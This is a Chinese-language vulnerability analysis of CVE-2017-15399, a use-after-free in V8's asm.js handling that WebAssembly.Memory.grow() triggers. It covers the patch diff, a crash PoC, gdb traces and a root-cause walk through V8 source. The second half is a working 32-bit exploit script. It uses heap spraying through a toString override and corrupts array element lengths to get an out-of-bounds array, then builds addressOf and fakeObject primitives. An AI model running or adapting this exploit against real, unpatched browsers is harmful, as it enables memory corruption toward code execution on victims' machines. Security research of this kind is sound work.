0%

CVE-2017-15399

文章首发于安全KER https://www.anquanke.com/post/id/235504

0x00 前言

之前一直在学习V8方面的漏洞,对于asm.js层的UAF漏洞还是第一次接触,本文将详细分析Chrome Issue 776677漏洞以及其利用方法。

0x01 前置知识

asm.js

asm.js不是一门新的语言,而是JavaScript的一个子集。由Mozilla于2013年提出,主要为了提升JS引擎执行代码的速度。通俗来说,同样是js代码,符合asm.js规范的代码对JS引擎更加友好,JS引擎在解释执行这些代码更加省心(例如不用进行变量类型推断了),也就更加快。
一旦 JavaScript 引擎发现运行的是 asm.js,就知道这是经过优化的代码,可以跳过语法分析这一步,直接转成汇编语言。另外,浏览器还会调用 WebGL 通过 GPU 执行 asm.js,即 asm.js 的执行引擎与普通的 JavaScript 脚本不同。这些都是 asm.js 运行较快的原因。据称,asm.js 在浏览器里的运行速度,大约是原生代码的50%左右。

在asm.js 中,变量只有两种数据类型。32位带符号整数64位带符号浮点数
asm.js 的类型声明有固定写法,变量 | 0表示整数,+变量表示浮点数。如下

1
2
3
4
var a = 1;

var x = a | 0; // x 是32位整数
var y = +a; // y 是64位浮点数

在javascript中,区别是普通js还是asm.js的关键在于函数里是否使用"use asm";关键词修饰,在函数中,在"use asm";关键词之后的代码都属于asm.js,如下,由于module第一行使用了该关键字,那么函数后面的代码都将使用asm.js将代码翻译为汇编代码

1
2
3
4
5
6
7
8
9
10
11
function module() {
"use asm";
function f(x) {
x = x | 0;
}
return f;
}

var f = module();

f(1);

使用./d8 t.js -print-opt-code运行,可以看到,虽然没有多次循环触发JIT编译,但是仍然使用了turbofan进行编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
kind = JS_TO_WASM_FUNCTION
name = js-to-wasm#0
compiler = turbofan
Instructions (size = 138)
0x3f4062c0 0 55 push ebp
0x3f4062c1 1 89e5 mov ebp,esp
0x3f4062c3 3 56 push esi
0x3f4062c4 4 57 push edi
0x3f4062c5 5 8b4508 mov eax,[ebp+0x8]
0x3f4062c8 8 e8d303f01f call 0x5f3066a0 (ToNumber) ;; code: BUILTIN
0x3f4062cd d a801 test al,0x1
0x3f4062cf f 0f8528000000 jnz 0x3f4062fd <+0x3d>
0x3f4062d5 15 d1f8 sar eax,1
0x3f4062d7 17 f20f2ac8 cvtsi2sd xmm1,eax
0x3f4062db 1b f20f2cc1 cvttsd2si eax,xmm1
0x3f4062df 1f 83f801 cmp eax,0x1
0x3f4062e2 22 0f8039000000 jo 0x3f406321 <+0x61>
0x3f4062e8 28 be00000000 mov esi,(nil) ;; wasm context reference
0x3f4062ed 2d e8cefeffff call 0x3f4061c0 ;; code: BUILTIN
0x3f4062f2 32 b885411839 mov eax,0x39184185 ;; object: 0x39184185 <undefined>
0x3f4062f7 37 89ec mov esp,ebp
0x3f4062f9 39 5d pop ebp
0x3f4062fa 3a c20800 ret 0x8
0x3f4062fd 3d b985411839 mov ecx,0x39184185 ;; object: 0x39184185 <undefined>
0x3f406302 42 3bc1 cmp eax,ecx
0x3f406304 44 0f8407000000 jz 0x3f406311 <+0x51>
0x3f40630a 4a f20f104803 movsd xmm1,[eax+0x3]
0x3f40630f 4f ebca jmp 0x3f4062db <+0x1b>
0x3f406311 51 660f76c9 pcmpeqd xmm1,xmm1
0x3f406315 55 660f73f134 psllq xmm1,52
0x3f40631a 5a 660f73d101 psrlq xmm1,1
0x3f40631f 5f ebba jmp 0x3f4062db <+0x1b>
0x3f406321 61 83ec08 sub esp,0x8
0x3f406324 64 f20f110c24 movsd [esp],xmm1
0x3f406329 69 e8d25ac0fc call 0x3c00be00 ;; code: STUB, DoubleToIStub, minor: 0
0x3f40632e 6e 83c408 add esp,0x8
0x3f406331 71 ebb5 jmp 0x3f4062e8 <+0x28>
0x3f406333 73 90 nop

asm.js中,不能直接调用javascript中的函数或者访问数据,如下会报错,找不到print函数

1
2
3
4
5
6
7
8
function module() {
"use asm";
function f(x) {
x = x | 0;
print(x);
}
return f;
}

想要在asm.js中调用js中的函数和对象,必须使用函数参数来间接传递地址进行访问,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
function module(stdlib) {
"use asm";
var p = stdlib.print;
function f(x) {
x = x | 0;
p(x);
}
return f;
}

var stdlib = {print:print};
var f = module(stdlib);
f(1);

通常,一个标准的asm.js函数模块参数应该有三个function module(stdlib,foreign,buffer) {},其中stdlib用来传递想要用到的一些函数,foreign用来传递一些变量,buffer用来共享内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function module(stdlib,foreign,buffer) {
"use asm";
var fl = new stdlib.Uint32Array(buffer);
function f1(x) {
x = x | 0;
fl[0x11] = x;
}
return f1;
}

var global = {Uint32Array:Uint32Array};
var env = {};
var buffer = new ArrayBuffer(0x100);
var f = module(global,env,buffer);

f(0x22);
var dv = new DataView(buffer);
print(dv.getUint32(0x11*4,true));

如图,我们在asm.js里修改了ArrayBuffer的内容,然后在js层显示。
除了直接传入ArrayBuffer对象进行内存共享,还可以使用WebAssembly.Memory来构造

1
2
var memory = new WebAssembly.Memory({initial:200});
var buffer = memory.buffer;

其返回的buffer也是一个ArrayBuffer对象

1
2
3
4
5
6
7
8
9
10
11
12
13
DebugPrint: 0x4cb18421: [JSArrayBuffer] in OldSpace
- map = 0x3b9047b9 [FastProperties]
- prototype = 0x4cb08ac5
- elements = 0x5450412d <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- embedder fields: 2
- backing_store = 0xf1dca000
- byte_length = 13107200
- wasm_buffer
- properties = 0x5450412d <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}

其中initial:200代表申请200页大小的内存,每页为0x10000。使用WebAssembly.Memory的好处是其申请的内存空间可以扩展,如果想要扩充空间,·只需调用grow函数。而ArrayBuffer的话不能做到空间扩充。

1
memory.grow(1); //扩充1页的内存

0x02 漏洞分析

patch分析

patch的地方比较多,经过分析,比较关键的地方是这两处

1
2
3
4
5
6
7
8
9
10
11
index cecf460..24b9091 100644
--- a/src/asmjs/asm-js.cc
+++ b/src/asmjs/asm-js.cc
@@ -374,6 +374,7 @@
ReportInstantiationFailure(script, position, "Requires heap buffer");
return MaybeHandle<Object>();
}
+ memory->set_is_growable(false);
size_t size = NumberToSize(memory->byte_length());
// TODO(mstarzinger): We currently only limit byte length of the buffer to
// be a multiple of 8, we should enforce the stricter spec limits here.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
diff --git a/src/wasm/wasm-js.cc b/src/wasm/wasm-js.cc
index bad1a21..631d94a 100644
--- a/src/wasm/wasm-js.cc
+++ b/src/wasm/wasm-js.cc
@@ -753,6 +753,10 @@
max_size64 = i::FLAG_wasm_max_mem_pages;
}
i::Handle<i::JSArrayBuffer> old_buffer(receiver->array_buffer());
+ if (!old_buffer->is_growable()) {
+ thrower.RangeError("This memory cannot be grown");
+ return;
+ }
uint32_t old_size =
old_buffer->byte_length()->Number() / i::wasm::kSpecMaxWasmMemoryPages;
int64_t new_size64 = old_size + delta_size;

主要是为asm.jsmemory设置了一个标记,不允许我们在memory传给asm.js的模块以后再调用memory.grow()函数。
其精简后的POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function module(stdlib,foreign,buffer) {
"use asm";
var fl = new stdlib.Uint32Array(buffer);
function f1(x) {
x = x | 0;
fl[0] = x;
}
return f1;
}

var global = {Uint32Array:Uint32Array};
var env = {};
var memory = new WebAssembly.Memory({initial:200});
var buffer = memory.buffer;
var evil_f = module(global,env,buffer);

memory.grow(1);
evil_f(1);

与前面的示例差不多,我们仅仅是增加了一句memory.grow(1);,然后调用函数以后就出现了崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@ubuntu:~/Desktop/v8/out.gn/ia32.debug# ./d8 poc.js
Received signal 11 SEGV_MAPERR 0000f1d64000

==== C stack trace ===============================

[0x0000f58e4e80]
[0x0000f58e4d7a]
[0x0000f7f07b80]
[0x00004010658b]
[0x0000549fc522]
[0x0000549f9336]
[0x00005498608f]
[0x0000f6d7935f]
[0x0000f6d788a2]
[0x0000f6d786af]
[0x0000f61fbef6]
[0x0000565f7010]
[0x00005660c8c0]
[0x000056610ff3]
[0x000056612523]
[0x000056612912]
[0x0000f53ace91]
[end of stack trace]
Segmentation fault (core dumped)

很明显是内存访问错误,使用gdb调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> c
Continuing.

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
0x4498658b in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────
*EAX 0x1
*EBX 0x0
*ECX 0xc80000
*EDX 0xf1d99000
*EDI 0x44986580 ◂— mov ecx, dword ptr [esi + 4] /* 0x8b044e8b */
*ESI 0x56d586d0 ◂— 0xf1d99000
*EBP 0xfff53ed4 —▸ 0xfff53f08 —▸ 0xfff53f20 —▸ 0xfff53f48 —▸ 0xfff540d8 ◂— ...
*ESP 0xfff53ec8 —▸ 0x449862f2 ◂— mov eax, 0x43a84185 /* 0xa84185b8 */
*EIP 0x4498658b ◂— mov dword ptr [edx + ebx], eax /* 0xc31a0489 */
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
► 0x4498658b mov dword ptr [edx + ebx], eax
0x4498658e ret

查看该地址0xf1d99000的映射情况,可以发现这个地址不在映射之内

1
2
3
4
.............
0xf1109000 0xf1d99000 rw-p c90000 0
0xf2a19000 0xf2c8e000 rw-p 275000 0
.............

然而如果事先加了一个%DebugPrintbuffer打印的话,会发现

1
2
3
4
5
6
7
8
9
10
11
12
13
DebugPrint: 0x52698935: [JSArrayBuffer] in OldSpace
- map = 0x5ab047b9 [FastProperties]
- prototype = 0x52688ac5
- elements = 0x3628412d <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- embedder fields: 2
- backing_store = 0xf1d99000
- byte_length = 13107200
- wasm_buffer
- properties = 0x3628412d <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}

该不可访问地址实际就是ArrayBufferbacking_store,那么可能的原因是memory.grow(1);操作使得ArrayBufferbacking_store被释放掉了。我们在memory.grow(1);之后加一句%DebugPrint(buffer);,可以发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
DebugPrint: 0x5c518941: [JSArrayBuffer] in OldSpace
- map = 0x2a0847b9 [FastProperties]
- prototype = 0x5c508ac5
- elements = 0x2de8412d <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- embedder fields: 2
- backing_store = (nil)
- byte_length = 0
- external
- neuterable
- neutered
- wasm_buffer
- properties = 0x2de8412d <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}

ArrayBuffer的一些指针确实被清空掉了,但是asm.js里访问时仍然使用了原来那个指针,这是一个UAF

asm.js的UAF成因分析

在分析这个UAF之前,我们先大致了解一下asm.js的编译过程,一个比较关键的地方是位于src/wasm/module-compiler.cc文件中的InstanceBuilder::Build函数,第1792行开始,获取外部传入的ArrayBuffer对象,并设置一些属性

1
2
3
4
5
6
7
8
9
  1792   if (!memory_.is_null()) {
1793 Handle<JSArrayBuffer> memory = memory_.ToHandleChecked();
1794 // Set externally passed ArrayBuffer non neuterable.
► 1795 memory->set_is_neuterable(false);
1796 memory->set_is_wasm_buffer(true);
1797
1798 DCHECK_IMPLIES(trap_handler::UseTrapHandler(),
1799 module_->is_asm_js() || memory->has_guard_region());
1800 } else if (initial_pages > 0) {

然后第1838行开始,进行一些检查,然后将ArrayBuffer对象设置到instance实例中。

1
2
3
4
5
6
7
8
9
10
11
  1838   Address mem_start = nullptr;
1839 uint32_t mem_size = 0;
1840 if (!memory_.is_null()) {
1841 Handle<JSArrayBuffer> memory = memory_.ToHandleChecked();
1842 mem_start = static_cast<Address>(memory->backing_store());
► 1843 CHECK(memory->byte_length()->ToUint32(&mem_size));
1844 LoadDataSegments(mem_start, mem_size);
1845 // Just like with globals, we need to keep both the JSArrayBuffer
1846 // and save the start pointer.
1847 instance->set_memory_buffer(*memory);
1848 }

然后第1854行,使用WasmMemoryObject::New创建了一个memory_object,并将其设置到instance实例中

1
2
3
4
5
6
7
8
9
In file: /home/sea/Desktop/v8/src/wasm/module-compiler.cc
1853 if (module_->has_memory && !instance->has_memory_object()) {
1854 Handle<WasmMemoryObject> memory_object = WasmMemoryObject::New(
1855 isolate_,
1856 instance->has_memory_buffer() ? handle(instance->memory_buffer())
1857 : Handle<JSArrayBuffer>::null(),
► 1858 module_->maximum_pages != 0 ? module_->maximum_pages : -1);
1859 instance->set_memory_object(*memory_object);
1860 }

接下来为新创建的memory_object设置instance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
   1904 
1905 //--------------------------------------------------------------------------
1906 // Add instance to Memory object
1907 //--------------------------------------------------------------------------
1908 if (instance->has_memory_object()) {
► 1909 Handle<WasmMemoryObject> memory(instance->memory_object(), isolate_);
1910 WasmMemoryObject::AddInstance(isolate_, memory, instance);
1911 }
1912
pwndbg> p memory
$10 = {
<v8::internal::HandleBase> = {
location_ = 0x5671d6ac
}, <No data fields>}
pwndbg> p *memory
$11 = (v8::internal::WasmMemoryObject *) 0x5b498b29

执行完后,该memory_object调用has_instances会返回true,说明已经为该memory_object设置好了实例

1
2
pwndbg> p instance->memory_object()->has_instances()
$13 = true

在分析完asm.js模块的编译过程以后,我们再来看一下JS层的grow函数。该函数的实现位于src/wasm/wasm-js.cc文件中的WebAssemblyMemoryGrow函数。第745EXTRACT_THIS(receiver, WasmMemoryObject);获取到了js层的var memory = new WebAssembly.Memory({initial:200});这个对象。显然,在这里也表示为一个·WasmMemoryObject

1
2
3
4
5
6
7
8
9
10
11
  740   i::Isolate* i_isolate = reinterpret_cast<i::Isolate*>(isolate);
741 HandleScope scope(isolate);
742 i::wasm::ScheduledErrorThrower thrower(i_isolate,
743 "WebAssembly.Memory.grow()");
744 Local<Context> context = isolate->GetCurrentContext();
► 745 EXTRACT_THIS(receiver, WasmMemoryObject);
746
747 int64_t delta_size = 0;
748 if (!args[0]->IntegerValue(context).To(&delta_size)) return;
749
750 int64_t max_size64 = receiver->maximum_pages();

然后这里获取到ArrayBuffer对象以及一些属性,并在旧的size基础上加上增量以后进行一些范围检查。

1
2
3
4
5
6
7
8
9
10
11
12
In file: /home/sea/Desktop/v8/src/wasm/wasm-js.cc
752 max_size64 > static_cast<int64_t>(i::FLAG_wasm_max_mem_pages)) {
753 max_size64 = i::FLAG_wasm_max_mem_pages;
754 }
755 i::Handle<i::JSArrayBuffer> old_buffer(receiver->array_buffer());
756 uint32_t old_size =
► 757 old_buffer->byte_length()->Number() / i::wasm::kSpecMaxWasmMemoryPages;
758 int64_t new_size64 = old_size + delta_size;
759 if (delta_size < 0 || max_size64 < new_size64 || new_size64 < old_size) {
760 thrower.RangeError(new_size64 < old_size ? "trying to shrink memory"
761 : "maximum memory size exceeded");
762 return;

接下来调用WasmMemoryObject::GrowArrayBufferbacking_store进行扩容,我们跟进该函数。

1
2
3
4
5
6
► 764   int32_t ret = i::WasmMemoryObject::Grow(i_isolate, receiver,
765 static_cast<uint32_t>(delta_size));
766 if (ret == -1) {
767 thrower.RangeError("Unable to grow instance memory.");
768 return;
769 }

WasmMemoryObject::Grow函数里,通过一些检查以后,就调用GrowMemoryBuffer来分配一块更大的内存了。

1
2
3
4
5
6
7
  476   uint32_t maximum_pages = FLAG_wasm_max_mem_pages;
477 if (memory_object->has_maximum_pages()) {
478 maximum_pages = Min(FLAG_wasm_max_mem_pages,
479 static_cast<uint32_t>(memory_object->maximum_pages()));
480 }
► 481 new_buffer = GrowMemoryBuffer(isolate, old_buffer, pages, maximum_pages);
482 if (new_buffer.is_null()) return -1;

接下来来到这里,漏洞关键点来了

1
2
3
4
5
6
7
8
 ► 484   if (memory_object->has_instances()) {
485 Handle<WeakFixedArray> instances(memory_object->instances(), isolate);
486 for (int i = 0; i < instances->Length(); i++) {
487 Object* elem = instances->Get(i);
488 if (!elem->IsWasmInstanceObject()) continue;
489 Handle<WasmInstanceObject> instance(WasmInstanceObject::cast(elem),
pwndbg> p memory_object->has_instances()
$17 = false

因为这里的memory_object来自与JS层的那个memory对象,而不是在InstanceBuilder::Build函数中创建的那个,因此memory_object->has_instances()返回的是false
这意味着下面的代码不会执行

1
2
3
4
5
6
7
8
9
10
if (memory_object->has_instances()) {
Handle<WeakFixedArray> instances(memory_object->instances(), isolate);
for (int i = 0; i < instances->Length(); i++) {
Object* elem = instances->Get(i);
if (!elem->IsWasmInstanceObject()) continue;
Handle<WasmInstanceObject> instance(WasmInstanceObject::cast(elem),
isolate);
SetInstanceMemory(isolate, instance, new_buffer);
}
}

由于SetInstanceMemory(isolate, instance, new_buffer);没有执行,导致wasm的实例里保存的那个buffer仍然是最开始那个buffer的地址,没有将new_buffer更新进去。此时程序继续执行,更新JS层的memory对象

1
2
  494   memory_object->set_array_buffer(*new_buffer);
► 495 return old_size / WasmModule::kPageSize;

接下来是对old_buffer进行处理

1
2
3
4
5
6
7
8
9
10
11
  770   if (!old_buffer->is_shared()) {
771 // When delta_size == 0, or guard pages are enabled, the same backing store
772 // is used. To be spec compliant, the buffer associated with the memory
773 // object needs to be detached. Setup a new buffer with the same backing
774 // store, detach the old buffer, and do not free backing store memory.
► 775 bool free_memory = delta_size != 0 && !old_buffer->has_guard_region();
776 if ((!free_memory && old_size != 0) || new_size64 == 0) {
777 i::WasmMemoryObject::SetupNewBufferWithSameBackingStore(
778 i_isolate, receiver, static_cast<uint32_t>(new_size64));
779 }
780 i::wasm::DetachMemoryBuffer(i_isolate, old_buffer, free_memory);

我们跟进DetachMemoryBuffer函数,这里将old_bufferbacking_store给释放掉了。

1
2
3
4
5
6
7
8
9
10
11
12
In file: /home/sea/Desktop/v8/src/wasm/wasm-memory.cc
120 // We need to free the memory before neutering the buffer because
121 // FreeBackingStore reads buffer->allocation_base(), which is nulled out
122 // by Neuter. This means there is a dangling pointer until we neuter the
123 // buffer. Since there is no way for the user to directly call
124 // FreeBackingStore, we can ensure this is safe.
► 125 buffer->FreeBackingStore();
126 }
127 }
128 buffer->set_is_neuterable(true);
129 buffer->Neuter();
130 }

可以看出,由于没有更新wasm实例里的ArrayBuffer对象,并且后面该ArrayBuffer被释放,由此导致了UAF的产生,原来backing_store的内存空间被unmmap掉了,使得其不再出现在映射表中。当我们再次访问这块内存时,便出现了段错误。

0x03 漏洞利用

概述

现在,我们制造出了一个UAF,但是backing_store的内存与一般对象的内存地址是分开的,不能指望将其他对象占位与此。与backing_store类似的是ArrayElement,它们都属于大容量存储,因此它们之间很可能会分配到相邻的地址或者地址相差较小的位置。因此,我们可以考虑使用Heap Spray技术,在backing_store地址附近都布局下ArrayElement对象,然后通过UAF去控制。由于64位内存空间太大,Heap Spray似乎无法成功将Element对象放到backing_store地址附近,因此这个漏洞目前仅在32位下成功利用。

何时进行 Heap Spray

我们需要寻找一个合适的时机进行Heap Spray,在asm.js模块的汇编代码中,我们注意到如下代码

1
2
3
4
5
6
7
8
9
10
0x255062c0     0  55             push ebp
0x255062c1 1 89e5 mov ebp,esp
0x255062c3 3 56 push esi
0x255062c4 4 57 push edi
0x255062c5 5 8b4508 mov eax,[ebp+0x8]
0x255062c8 8 e8d303b035 call 0x5b0066a0 (ToNumber) ;; code: BUILTIN
0x255062cd d a801 test al,0x1
0x255062cf f 0f8528000000 jnz 0x255062fd <+0x3d>
0x255062d5 15 d1f8 sar eax,1
.....................

可以看到,因为我们在asm.js模块中声明x = x | 0;,所以会先调用ToNumber获取对象x的值,而ToNumber会调用对象内部的toString函数,因此,我们可以重写toString函数,并在toString函数里开始Heap Spray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//堆喷
var victim_array = [];
victim_array.length = 0x750;
var array = [1.1];
array.length = 0x10000;
array.fill(2.2);
function spray_heap() {
for(var i = 0;i < victim_array.length;i++){
victim_array[i] = array.slice(0,array.length);
}
}
..........................
//重写对象的toString函数,这样在执行ToNumber时可以同时触发Hpeap Spray
trigger = {};
trigger.toString = function(){
spray_heap();
return 0xffffffff;
};
evil_f(trigger);

使用gdb调试,然后断在崩溃处

1
2
3
4
5
6
7
8
9
10
11
 EAX  0x6666666a ('jfff')
EBX 0x80108
ECX 0xc80000
EDX 0xf4cb4000
EDI 0x5403aff1 —▸ 0x4e536848 ◂— 0x9999999a
ESI 0x5858aab0 ◂— 0xf4cb4000
EBP 0xffcd9da8 —▸ 0xffcd9df8 —▸ 0xffcd9e10 —▸ 0xffcd9e38 —▸ 0xffcd9ee8 ◂— ...
ESP 0xffcd9d9c —▸ 0x52786292 ◂— mov eax, 0x27184185 /* 0x184185b8 */
EIP 0x527864ee ◂— mov dword ptr [edx + ebx], eax /* 0xbb1a0489 */
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
► 0x527864ee mov dword ptr [edx + ebx], eax

当前访问的地址是0xf4cb4000,查看其附近的内存

1
2
3
4
5
.................
0xf4024000 0xf4cb4000 rw-p c90000 0
0xf4d80000 0xf4e05000 rw-p 85000 0
0xf4e80000 0xf4f05000 rw-p 85000 0
...............

可以看到0xf4cb4000上方和下方很多0x85000大小的内存空间,这是正是堆喷到此处的一些Array对象以及Elements对象,我们在gdb中使用find命令查找紧挨着的一块内存里的关键字

1
find /w4 0xf4d80000,0xf4e05000,0x9999999a

结果如下,我们看到最近的一个数据位于0xf4d84108,可以看到该处正是某一个Array对象的Element,它与backing_store之间相差0xd0108,这个偏移并不是固定不变的,但是后12bit是固定不变的。

1
2
3
4
5
6
0xf4d84108
0xf4d84110
0xf4d84118
0xf4d84120
pwndbg> x /20wx 0xf4d84108-0x8
0xf4d84100: 0x536846f1 0x00020000 0x9999999a 0x40019999

我们可以将所有的可能偏移都罗列出来,由于这些偏移在之前那个ArrayBuffer的length范围之内,也就是说该对象存在于那个UAF的空间里,于是我们可以利用UAF来改写Element,我们可以修改Elementlength属性,这样,我们可以后续构造出一个oob数组,为了区别,我们还需要修改Element的第一个元素,这样方便我们找到到底是哪个ArrayElement堆喷于此处。
为了方便罗列这些可能的偏移,并进行写,我们使用JS的模板来生成多种可能的偏移写语句,方便操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//距离不是固定的,因此需要将所有可能的距离都赋值,我们要修改Element的length和第一个元素
let loop = "";
for(let i = 0; i < 0xd0; i++) {
loop += `fl[${0x21041 + 0x100 * i}] = x;fl[${0x21042 + 0x100 * i}] = x;`;
}

let eval_str = `
function module(stdlib, foreign, buffer) {
"use asm";
var fl = new stdlib.Uint32Array(buffer);
function foo(x) {
x = x | 0;
${loop}
}
return foo;
}
`
eval(eval_str);

接下来就是搜索哪个被修改过的Array对象了

1
2
3
4
5
6
7
8
9
10
//找到那个能够被我们UAF控制的Array
var corrupted_array = undefined;
for(var i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[0] !== 2.2) {
console.log("[+] array at : " + i);
corrupted_array = victim_array[i];
break;
}
}

同时,我们得继续寻找该Array对象Elements后方的Elements属于哪个Array,其中注意到,由于corrupted_array的elements的length被我们修改成了0xFFFFFFFF,因此在这里加大length,elements仍然不变,相当于构造了一个oob数组,这个特性也是新学到的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//寻找corrupted_array的后面是哪个Array对象的elements
var next_array_idx = undefined;
var tag = p64f(0x12345678,0x78563412)
if (corrupted_array != undefined) {
//由于elements的length被我们修改,因此在这里加大length,elements仍然不变,相当于构造了一个oob数组
corrupted_array.length = 0x200000;
let leaked_idx = undefined;
if (corrupted_array[0x20000] == 2.2) {
corrupted_array[0x20000] = tag; //设置一个标记
//搜索标记
for(let i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[0] == tag) {
tmp = undefined;
console.log("[+] next array at : " + i);
next_array_idx = i;
break;
}
}
}
} else {
console.log("[-] fail");
}

我们搜索next_array的目的是为了将next_array进行释放。这样方便我们进行第二轮Heap Spray,将其他对象布局到此处,然后用corrupted_array 进行控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}
//corrupted_array后方的内存释放掉,然后我们将其他对象堆喷到此处
victim_array[next_array_idx] = null;
gc();
//堆喷
var obj = {};
array = [obj];
array.length = 0x2000;
array.fill(obj);

for(var i = 0;i < victim_array.length;i++){
victim_array[i] = array.slice(0,array.length);
}

这里,我们victim_array[next_array_idx] = null;使得该处对象失去了引用,然后通过申请大量的内存new ArrayBuffer(0x1000000);触发了垃圾回收器将next_array的内存回收,这样corrupted_array后方的内存就空闲了,然后我们堆喷多个HOLEY_ELEMENTS类型的Array,因为该Array存储着的是对象的指针,因此,我们结合corrupted_array和该处的Array,就可以构造addressOf原语和fakeObject原语。其构造布置比较简单,这里不再叙述。然后后续利用也比较容易了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}

function u64f(value) {
dv.setFloat64(0,value,true);
return [dv.getUint32(0,true),dv.getUint32(4,true)];
}

//距离不是固定的,因此需要将所有可能的距离都赋值,我们要修改Element的length和第一个元素
let loop = "";
for(let i = 0; i < 0xd0; i++) {
loop += `fl[${0x21041 + 0x100 * i}] = x;fl[${0x21042 + 0x100 * i}] = x;`;
}

let eval_str = `
function module(stdlib, foreign, buffer) {
"use asm";
var fl = new stdlib.Uint32Array(buffer);
function foo(x) {
x = x | 0;
${loop}
}
return foo;
}
`
eval(eval_str);

//堆喷
var victim_array = [];
victim_array.length = 0x750;
var array = [1.1];
array.length = 0x10000;
array.fill(2.2);
function spray_heap() {
for(var i = 0;i < victim_array.length;i++){
victim_array[i] = array.slice(0,array.length);
}
}

var global = {Uint32Array:Uint32Array};
var env = {};
var memory = new WebAssembly.Memory({initial:200});
var buffer = memory.buffer;
var evil_f = module(global,env,buffer);

evil_f(1);
//%DebugPrint(memory);
//%SystemBreak();
//evil_f(1);
//制造UAF
memory.grow(1);
//%DebugPrint(buffer);

//重写对象的toString函数,这样在执行ToNumber时可以同时触发Hpeap Spray
trigger = {};
trigger.toString = function(){
spray_heap();
return 0xffffffff;
};
evil_f(trigger);


//找到那个能够被我们UAF控制的Array
var corrupted_array = undefined;
for(var i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[0] !== 2.2) {
console.log("[+] array at : " + i);
corrupted_array = victim_array[i];
break;
}
}

//寻找corrupted_array的后面是哪个Array对象的elements
var next_array_idx = undefined;
var tag = p64f(0x12345678,0x78563412)
if (corrupted_array != undefined) {
//由于elements的length被我们修改,因此在这里加大length,elements仍然不变,相当于构造了一个oob数组
corrupted_array.length = 0x200000;
let leaked_idx = undefined;
if (corrupted_array[0x20000] == 2.2) {
corrupted_array[0x20000] = tag; //设置一个标记
//搜索标记
for(let i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[0] == tag) {
tmp = undefined;
console.log("[+] next array at : " + i);
next_array_idx = i;
break;
}
}
}
} else {
console.log("[-] fail");
}

//%DebugPrint(victim_array[next_array_idx]);
//corrupted_array后方的内存释放掉,然后我们将其他对象堆喷到此处
victim_array[next_array_idx] = null;
gc();
//堆喷
var obj = {};
array = [obj];
array.length = 0x2000;
array.fill(obj);

for(var i = 0;i < victim_array.length;i++){
victim_array[i] = array.slice(0,array.length);
}


function addressOf(m_obj) {
for(var i = 0;i < victim_array.length;i++){
victim_array[i][0] = m_obj;
}
return u64f(corrupted_array[0x20000])[0] - 0x1;
}

var tag = {a:1.1};
var tag_addr = addressOf(tag);
//print("tag_addr=" + tag_addr.toString(16));

//寻找corrupted_array后面是哪一个Array
next_array_idx = undefined;
corrupted_array[0x20001] = p64f(tag_addr+0x1,0x123456);
//搜索标记
for(let i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[2] == tag) {
tmp = undefined;
console.log("[+] next array at : " + i);
next_array_idx = i;
break;
}
}

if (next_array_idx == undefined) {
throw "error"
}

function fakeObject(addr) {
corrupted_array[0x20000] = p64f(addr+0x1,0x123456);
return victim_array[next_array_idx][0];
}


